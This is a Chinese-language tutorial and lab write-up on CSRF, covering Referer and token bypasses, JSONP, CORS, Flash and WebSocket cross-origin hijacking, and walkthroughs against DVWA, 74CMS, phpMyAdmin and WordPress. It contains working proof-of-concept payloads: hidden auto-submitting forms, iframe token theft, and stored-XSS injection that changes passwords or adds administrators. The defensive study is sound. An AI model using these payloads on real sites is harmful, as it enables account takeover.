CSRF总结

CSRF(跨站请求伪造)

cross-site request forgery,是指利用受害者尚未失效的身份认证信息(cookie,session等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害者不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(比如转账、修改密码、身份信息、伪装他人发文留言等),本质上来说就是劫持用户的操作,利用服务端对于和已建立会话的客户端的信任进行的攻击 。csrf又称为xsrf,它与xss最大的区别就在于,csrf并没有盗取cookie而是直接利用。

CSRF的原理

利用目标用户的合法身份,以用户的名义进行非法的操作

CSRF的分类

GET型

GET型CSRF漏洞,只需要构造URL,然后诱导受害者访问利用。 HTML中可以设置src/href等地址的标签都可以发起一个GET请求:

利用a标签

1
<a href="http://www.xxx.com/new_user.php?username=123&password=123456">test</a>

利用img标签

1
<img src="http://www.xxx.com/new_user.php?username=123&password=123456">

利用iframe:注意:可以设置iframe的style为display:none,以此来不显示iframe加载的内容

1
<iframe src="http://www.xxx.com/new_user.php?username=123&password=123456" style="display: none"></iframe>

CSS中background利用

1
<h1 style="background: url('http://www.xxx.com/new_user.php?username=123&password=123456');">CSRF</h1>

还有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<link href="">
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refersh" content="0"; url="">
<frame src ="">
<script src ="">
<bgsound src="">
<embed src="">
<audio src="">
<table background="">

css样式中:
@import ""
background:url("")

除了固定的编写方式之外还可以通过JavaScript动态生成的标签对象或CSS对象发起GET请求。

POST型

POST型CSRF漏洞,需要构造自动提交或点击提交的表单,然后诱导受害者访问或点击利用。构造表单常见是用hidden属性(只能通过form表单的方式提交)

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<meta charset="utf-8">
<script>history.pushState('', '', '/')</script>
<img src="./logo.png">
<form action="http://192.168.1.106/vulnerabilities/csrf/">
<input type="hidden" name="password&#95;new" value="demos" />
<input type="hidden" name="password&#95;conf" value="demos" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="点击查看头像" />
</form>
</body>
</html>
1
2
3
4
5
6
7
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"&>
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>

利用script标签

1
2
3
4
5
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>ja
1
2
3
4
5
6
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send('{"role":admin}');
</script>
1
2
3
4
5
6
7
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>

从信任角度来说明CSRF与XSS的区别

XSS:利用用户对站点的信任(就是客户端对服务器下发的文件默认是信任的)

CSRF:利用站点对已经身份认证的信任(默认站点只对经过身份认证的用户是信任的)

CSRF可能会出现的攻击场景

修改账号密码、个人信息(email、收货地址)

发送伪造的业务请求(网银、购物、投票)

关注他人社交账号、发送推文、留言评论等

未验证 Referer或者使用 Token 导致用户或者管理员可被 CSRF添加、修改、删除等操作

以转账为例:

1
2
初始化链接:http://www.xxx.com/pay.php?user=xx&amp;money=100
构造恶意链接:http://www.xxx.com/pay.php?user=恶意用户&amp;money=10000

CSRF的执行原理图:这里就可以反应出来它与XSS的区别

漏洞利用条件

被攻击用户已经完成身份认证(已登录)

新请求的提交不需要重新身份认证或确认机制(如果有token机制则需要获取token,但是由于跨域的原因,攻击者构造的攻击代码无法直接请求被攻击服务器,无法获取token,但是如果配合XSS漏洞获取token,基于token的防护机制就形同虚设)

CSRF可能存在的点以及检测方法

寻找测试站点增删改的地方,构造HTML,修改HTML表单中某些参数,使用浏览器打开该HTML,点击提交表单后查看响应结果,看该操作是否成功执行。

检测方法:捕获的数据包,查看在请求和响应过程中检查是否存在anti-CSRF token名 以及验证服务器是否验证anti-CSRF token的值;检测token中的可编辑字符串(可查看以及伪造);检查referrer头是否可以伪造绕过、查看是否有二次身份认证、验证码等防御措施。

防御方式

增加anti-CSRF token(随机token,随机性强且不易伪造,注意一点,POST请求可以隐藏在表单,如果是GET请求可以添加在cookie中)并在服务端验证

严格验证Referer,防止被绕过

关键请求使用验证码功能(比如确认转账、确认修改密码操作等,在一些其他场景使用验证码,用户体验不是很好)

降低会话超时时间

测试工具

burpsuit

CSRFTester(个人觉得不是很好用)

绕过referer验证

空Referer绕过:

1
2
3
空referer头:置空

在referer字段后添加:ftp://,http://,https://,file://,javascript:,data等协议头再发送,看是否绕过referer验证。例如https向http跳转的时候referer为空,利用https://www.eval.com/attack.html

判断referer是否存在某个关键词:

1
2
3
4
5
例如dvwa中的验证server_name

referer判断存在不存在google.com这个关键词

在网站新建一个google.com目录 把CSRF存放在google.com目录,即可绕过

判断referer是否有某域名

1
判断了Referer开头是否以126.com以及126子域名 不验证根域名为126.com 那么我这里可以构造子域名x.126.com.xxx.com作为蠕虫传播的载体服务器,即可绕过。

在域名前添加

1
在域名前面增加随机的a-z和0-9也可能绕过:

添加一些特殊的符号绕过,不同的浏览器支持的符号也不一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
https://xxx.com/?https://target.org   #思路和绕过URL跳转限制类似

#字典如下
,
&
'
"
;
!
$
^
*
(
)
+
=
`
~
-
_
=
|
{
}
%

无referer

与添加不同的协议跳转置空referer不同,这里是直接删除referer头,利用的时候需要在body之前POC中加入meta标签

POC

1
<meta name="referrer" content="never">
1
2
3
4
5
6
7
8
9
10
11
12
<html>
<meta name="referrer" content="never">
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/test.php">
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

思路:组合拳绕过referer限制

反射型XSS时受到了referer限制,通过URL重定向漏洞绕过referer限制触发XSS,xss处存在jsonp劫持漏洞,如果直接触发jsonp也受到referer限制,所以通过反射性xss加载jsonp的POC再配合URL跳转漏洞触发。总体上就是URL重定向绕过了xss的referer限制,xss又绕过了jsonp的referer限制。

以上时key师傅的思路,由于文章中的任意URL跳转也是再子域,时referer允许的,个人认为可以直接加载jsonp的POC连接绕过。

绕过token

  • GET型token泄露:例如页面包含<img src="http://www.evil.com/"/>
  • POST型token泄露:利用XSS漏洞获取其Cookie,查看存储在其中的Token(组合漏洞)

总结bypass方法

  • 删: CSRF token 、referer、 XRSF Header
  • 置空: CSRF token 、referer
  • 修改请求方法:POST改为GET
  • 修改 与token相同长度的任意字符串替换token
  • 固定token
  • 组合漏洞:XSS+CSRF(xss打token,cookie或者利用子域的xss漏洞和csrf组合绕过验证)
  • token泄露(referer泄露toekn

读取型CSRF

前面总结的CSRF是按提交方式分的,且场景是在增删改的情况下触发的,还有一种是读类型的CSRF,由jsonp劫持和CORS跨域资源共享,Flash跨域劫持等,通过这几种方式可以读一些敏感信息出来。

jsonp劫持

1
2
3
4
5
JSONP(JSON with Padding)是数据格式JSON的一种“使用模式”,可以让网页从别的网域要数据。根据 XmlHttpRequest 对象受到同源策略的影响,而利用 <script>元素的这个开放策略,网页可以得到从其他来源动态产生的JSON数据,而这种使用模式就是所谓的 JSONP。用JSONP抓到的数据并不是JSON,而是任意的JavaScript,用 JavaScript解释器运行而不是用JSON解析器解析。所有,通过Chrome查看所有JSONP发送的Get请求都是js类型,而非XHR。

JSONP包含两部分:回调函数和数据。
回调函数是当响应到来时要放在当前页面被调用的函数。
数据就是传入回调函数中的json数据,也就是回调函数的参数了。

jsonp劫持只需要有这个参数,再去读取这个参数就可以进行jsonp劫持了

jsonp劫持测试

jsonp劫持在实际中也像上图这样调用返回一些信息,挖掘的时候利用如script标签跨域加载恶意的构造的语句即可劫持获取相应的信息

Poc如下所示:测试时只需要修改函数名test,以及劫持的地址即可,可以使用key写的pocbox,方便快捷

1
<script>function test(data){ alert(JSON.stringify(data)) }</script> <script src="http://127.0.0.1/DoraBox/csrf/jsonp.php?callback=test"></script>

组合拳:JSONP绕过CSRF防护token

如果可以读取页面的CSRF-token,则可以自动加入触发写类型的CSRF,同时jsonp不只可以触发csrf漏洞,由于跨域标签,还可能会触发xss漏洞?callback=<script>alert(1111)</script>

修复方式:

  1. 打乱响应主体内容
  2. 禁止用户自定义callback函数
  3. Referer等进行限制
  4. 严格按照json标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )

CORS跨域资源共享

Cross-Origin Resource Sharing(CORS)跨域资源共享是一份浏览器技术的规范,提供了 Web 服务从不同域传来沙盒脚本的方法,以避开浏览器的同源策略,确保安全的跨域数据传输。现代浏览器使用CORS在API容器如XMLHttpRequest来减少HTTP请求的风险来源。与 JSONP 不同,CORS 除了 GET 要求方法以外也支持其他的 HTTP 要求。 和jsonp的作用差不多,只不过是方式有所改变,那么我们在这个漏洞中的关键点就是Orgin这个参数的传递了,有时候我们需要自己添加有时候他有,而有时候他会通过某些参数传递 。

CORS测试

如上如图,在实际的测试中,如果在返回包中出现 Access-Control-Allow-*等响应头信息则时CORS跨域设置,尝试script标签等配合XMLHttpRequest劫持获取信息。在测试的时候亲请求头中添加Origin: http://xxx.com,看返回包中的响应头是否可控,在这里时允许http://www.lsowl.top请求的,所以就允许跨域读取此网址的内容。 OriginReferer很相似,就是将当前的请求参数删除,仅剩下三元组(协议 主机 端口),标准的浏览器(IE浏览器除外,IE浏览器只带在协议和主机),会在每次请求中都带上Origin,至少在跨域操作时肯定携带(例如ajax的操作)

POC如下(利用pocbox生成)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html>
<head>
<title>CORS TEST</title>
</head>
<body>
<div id='output'></div>
<script type="text/javascript">
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','http://127.0.0.1/DoraBox/csrf/userinfo.php ',true);
//req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
req.withCredentials = true;
req.send();
function reqListener() {
var output = document.getElementById('output');
output.innerHTML = "URL: http://127.0.0.1/DoraBox/csrf/userinfo.php <br><br>Response:<br><textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>";
};
</script>
</body>
</html>

利用CrossSiteContentHijacking测试

防御:

加强对Origin的验证,即对cors进行严格的设置

Flash跨域

Flash跨域比较经典了,在做web目录资产整理的时候有时候会发现这样的文件 crossdomain.xml ,文件内容如果是如下的,那么就存在Flash跨域问题,如下内容的意思是支持所有域。flash跨域是通过.swf文件进行的,流程是:lsowl.top存在测试的swf文件想要跨域获取target.com中的敏感数据信息,首先会寻找target.com是否存在 crossdomain.xml ,如果存在则会查看是否允许lsowl.top访问,如果可以访问则存在flash跨域漏洞。

1
2
3
4
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

漏洞挖掘:由于没有找到测试的站点,所以文字描述,碰见存在crossdomain.xml 的站,访问看一下配置,再找找有无数据接口,然后利用POC https://github.com/nccgroup/CrossSiteContentHijacking/raw/master/ContentHijacking/objects/ContentHijacking.swf 进行测试,或者是key师傅的pocbox

emm,没图,用key师傅的图

防御:

修改crossdomain.xml限制访问来源

可读可写型CSRF

WebSocket 跨域劫持漏洞,由于websocket协议支持双通道通信且websocket不受同源策略的影响,利用websocket的跨域劫持为可读可写类型

websocket的优点

  • 支持全双工,实时性更强。
  • 更好的二进制支持。
  • 较少的控制开销。连接创建后,ws客户端、服务端进行数据交换时,协议控制的数据包头部较小。在不包含头部的情况下,服务端到客户端的包头只有2~10字节(取决于数据包长度),客户端到服务端的话,需要加上额外4字节的掩码。而HTTP协议每次通信都需要携带完整的头部。
  • 支持扩展。ws协议定义了扩展,用户可以扩展协议,或者实现自定义的子协议。(比如支持自定义压缩算法等)

websocket就建立链接如下

通过建立连接的过程可以发现在websocket建立连接时没有进行验证,所以由此产生漏洞。

测试环境用到代码如下

server.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//server.js

var app = require('express')();
var server = require('http').Server(app);
var WebSocket = require('ws');

var wss = new WebSocket.Server({ port: 9999 });

wss.on('connection', function connection(ws) {
console.log('server: receive connection.');

ws.on('message', function incoming(message) {
console.log('server: received %s', message);
ws.send('server: reply');
});

ws.on('pong', () => {
console.log('server: received pong from client');
});

ws.send('world');

// setInterval(() => {
// ws.ping('', false, true);
// }, 2000);
});

app.get('/', function (req, res) {
res.sendfile(__dirname + '/index.html');
});

app.listen(3000);

cal.js

1
2
3
4
5
6
7
8
9
10
const crypto = require('crypto');
const magic = '258EAFA5-E914-47DA-95CA-C5AB0DC85B11';
const secWebSocketKey = 'w4v7O6xFTi36lq3RNcgctw==';

let secWebSocketAccept = crypto.createHash('sha1')
.update(secWebSocketKey + magic)
.digest('base64');

console.log(secWebSocketAccept);
// Oy4NRAQ13jhfONC7bP8dTKb4PTU=

index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<head>
<title>ws demo</title>
<meta charset="utf8">
</head>
<body>

</body>

<script>
var ws = new WebSocket('ws://192.168.1.101:9999');
ws.onopen = function () {
console.log('client: ws connection is open');
ws.send('hello');
};
ws.onmessage = function (e) {
console.log('client: received %s', e.data);
};
</script>

</html>

监听服务端

访问index.html发起请求,抓取数据包

通过数据包可以看到,websocket通信要在http协议的基础上请求升级协议,升级的协议名为websocket,返回的数据包中说明了升级的协议以及正在连接的协议。

下图时通过websocket的通信过程

在碰到使用使用websocket通信的目标时,测试方法和CORS类似, 篡改Origin,发现没有对Origin进行验证,也可以跨域进行协议升级。

跨域劫持测试:

poc如下:使用pocbox生成(如果时https协议的站点则需要将ws修改为wss)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<meta charset="utf-8">
<script>
function ws_attack(){
var ws = new WebSocket("ws://192.168.1.101:9999");
ws.onopen = function(evt) {
ws.send("asdfafasd");
};
ws.onmessage = function(evt) {
alert(evt);
ws.close();
};
}
ws_attack();
</script>

触发

防御:校验Origin头 ,websocket默认不校验

CSRF实战——DVWA

DVWA这里关于CSRF的漏洞点是重置密码

low级别

可以看到DVWA关于CSRF漏洞的出发点是GET请求,并且分析源码发现后台并没有任何过滤,直接出发CSRF漏洞

方式一:直接构造链接,诱导用户点击(这种方式明显可以将链接转换为短链接)

1
http://192.168.1.106/vulnerabilities/csrf/?password_new=attack&password_conf=attack&Change=Change#

方式二:构造一个伪装的页面,可信度更高一点(放在这一台用户可以访问且攻击者可控的机器上,生成连接配合前面说的短链接诱导用户访问,如果没有跨域、token那些限制就可以直接触发,否则需要绕过)

1
2
3
4
5
<img src="http://192.168.1.106/vulnerabilities/csrf/?password_new=attack&password_conf=attack&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

当诱导用户点击过后CSRF已经触发,密码已经被修改

方式三:使用burp的CSRF验证功能(自动生成表单的方式提交测试)

两种方式,在burp代理的情况下直接在浏览器中可以测试,或者可以将生成的POC(自己可以修改)复制下来,通过链接的形式来访问

可以发现密码已经修改

medium级别

用之前的POC进行触发发现漏洞无法触发,根据提示查看源码,发现源码对于referer头进行了限制,显示了server_name,这里就是本地的地址

所以这里的思路就是必须要在点击构造好的链接,数据包中的referer要包含192.168.1.106,所以,将之前的POC复制下来,然后新建一个HTML,命名为192.168.1.106.html,让模拟攻击者放在可控服务器上,让用户访问(注意,burpsuit的POC注释掉history.pushState函数,否则无法在referer头中添加server_name)

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>/*history.pushState('', '', '/')*/</script>
<form action="http://192.168.1.106/vulnerabilities/csrf/">
<input type="hidden" name="password&#95;new" value="admin888" />
<input type="hidden" name="password&#95;conf" value="admin888" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

可以看到:referer头限制成功绕过,漏洞触发。

high级别

方法一:结合存储型xss

点击修改密码后抓取数据包如下

可以发现在请求中多了user_token,这样就可以使得csrf失效了,查看源码确认判断

怎么绕过呢,思路:在请求前获取到服务端下发的token,然后带入请求劫持用户操作,触发CSRF,将POC构造为一下可以获取user_token。攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<html>

<body>
<script type="text/javascript">
function attack() {
document.getElementsByName('user_token')[0].value = document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>

<iframe src="http://192.168.1.106/vulnerabilities/csrf" id="hack" border="0" style="display:none;"></iframe>

<body onload="attack()">

<form method="GET" id="transfer" action="http://192.168.1.106/vulnerabilities/csrf">

<input type="hidden" name="password_new" value="attack">

<input type="hidden" name="password_conf" value="attack">

<input type="hidden" name="user_token" value="">

<input type="hidden" name="Change" value="Change">

</form>
</body>

</html>

测试一下:

为什么会出现这种情况:因为现在的浏览器、基本都不会允许跨域的操作,我们的框架iframe访问的地址是http://192.168.1.106/vulnerabilities/csrf,位于服务器192.168.1.106上,而我们的攻击页面位于黑客服务器192.168.1.101上,两者的域名不同,域名B下的所有页面都不被允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。

理想和现实的差距是比较大的,这次直接在目标站点上放上POC测试(不跨域的情况下,当然,既然能上传了,还挖什么CSRF呀,手动滑稽)

可以看到,在理想情况下,成功获取到user_token,触发CSRF漏洞,将用户密码改为admin888

理想情况测试完后,想想怎么绕过:组合漏洞,通过XSS获取用户的user_token,然后结合CSRF触发

首先在存储型XSS的name处注入代码,触发存储型XSS漏洞,弹出user_token

1
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName("user_token")[0].value)>

可以看到代码已经注入进去了,利用存储型XSS获取user_token,然后在CSRF处修改密码抓包生成POC替换user_token值既可触发CSRF漏洞

可以看到漏洞触发,密码被修改。

方法二:结合xss调用外链通过ajax实现CSRF(没实现,后面补上)

CSRF结合同Security Level的 XSS漏洞,通过ajax实现跨域请求来获取用户的user_token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
alert(document.cookie);
var theUrl = 'http://192.168.1.106/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 && xmlhttp.status==200)
{
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
console.log(match);
alert(match[1]);
var token = match[1];
var new_url = 'http://192.168.1.106/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';
if(count==0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}


}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();

Tips:

在前面dvwa的high等级中,对于csrf的防御点就在于user_token,通过token可以进行身份鉴别,当然,在没有登录的情况下只能通过组合漏洞获取token或者看看有没有token泄露;除此之外,token在登录的情况下(即以及获取到token的情况下)除了身份鉴别之外,还可以防止重放,因为数据包的重放每次都要更新token,所以在以token为重放判定的情况下,怎么不断重新获取token呢,当然不能手动获取,burp上有插件实现了cookie的更新(有些情况是把token加在cookie中的),但是对于没有在cookie中的token,可以通过CSRF Token Tracker插件实现自动更新,表面意思是只能更新csrf——token,其实都可以。这样在某些场景,比如短信轰炸啥的就可以突破了,还有些服务端有下发sign的情况,这种插件目前没有发现。

以dvwa中CSRF的high等级为例

没有更新token时修改密码重放

实时更新token测试

CSRF实战——74CMS

登录74CMS的后台进行添加管理员操作并抓包

无token且服务端没有验证referer,直接生成POC测试

生成POC,添加管理账户

返回后台查看,发现用户已经添加成功

使用添加的账号登录

CSRF实战——phpMyAdmin 4.7.x XSRF/CSRF

环境半天打不开哦,直接截图了

登录靶机

利用SQL语句更新密码,构造POC

1
2
3
4
SET passsword=PASSWORD('demos');

http://f1496b741e86dce4b2f79f3e839f977d.vsplate.me:19830/pma/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27demos%27)

然后即可利用短域名伪装发送,在这种特定场景下,还可以利用SQL语句进行写shell。

CSRF实战——wordpress5.2.4

在后台添加账户处存在csrf,可以利用此处漏洞诱导管理员点击添加管理员账户

没有referer和token、origin验证

直接通过burp抓包生产CSRF-POC在浏览器测试

结果如下

组合拳

记录一些学习到的思路

  • CSRF结合XSS形成上下文漏洞,绕过限制

  • CSRF结合URL跳转绕过限制

  • CSRF结合点击劫持拿下权限

    1
    这个思路比较有意思,首先有些平台会存在绑定第三方账号的功能,在已经登录的情况下,点击劫持伪造登录,诱导攻击者点击从而登录第三方账号(攻击者自己的账号),登录后iframe直接跳转到绑定的界面,然后劫持用户继续点击绑定,从而使得受害者在平台上绑定的第三方账号是攻击者注册的小号,从而利用这种思路劫持到受害者平台的权限。

总结

CSRF的漏洞挖掘方式,在用户可以增删改(大多数情况)查(jsonp跨、flash跨域、cors跨域),查看数据包中是否又token、目标表单是否又验证码、目标数据包是否验证了referer来源,json数据是否可以自定义callback函数、flash网站根目录下的crossdomain.xml 中的”access-from domain”是否为通配符、cors、websocket是否验证origin来源。

参考文章

https://www.freebuf.com/articles/web/118352.html

https://xz.aliyun.com/t/6128#toc-16

https://vulnspy.com/?u=pmasa-2017-9

https://xz.aliyun.com/t/5871#toc-3

https://c1h2e1.github.io/#

https://gh0st.cn/archives/2018-03-22/1

https://gh0st.cn/archives/2019-03-20/1

https://www.cnblogs.com/chyingp/p/websocket-deep-in.html

JSONP绕过CSRF防护token

https://gh0st.cn/archives/2018-08-01/1

https://gh0st.cn/archives/2018-04-28/1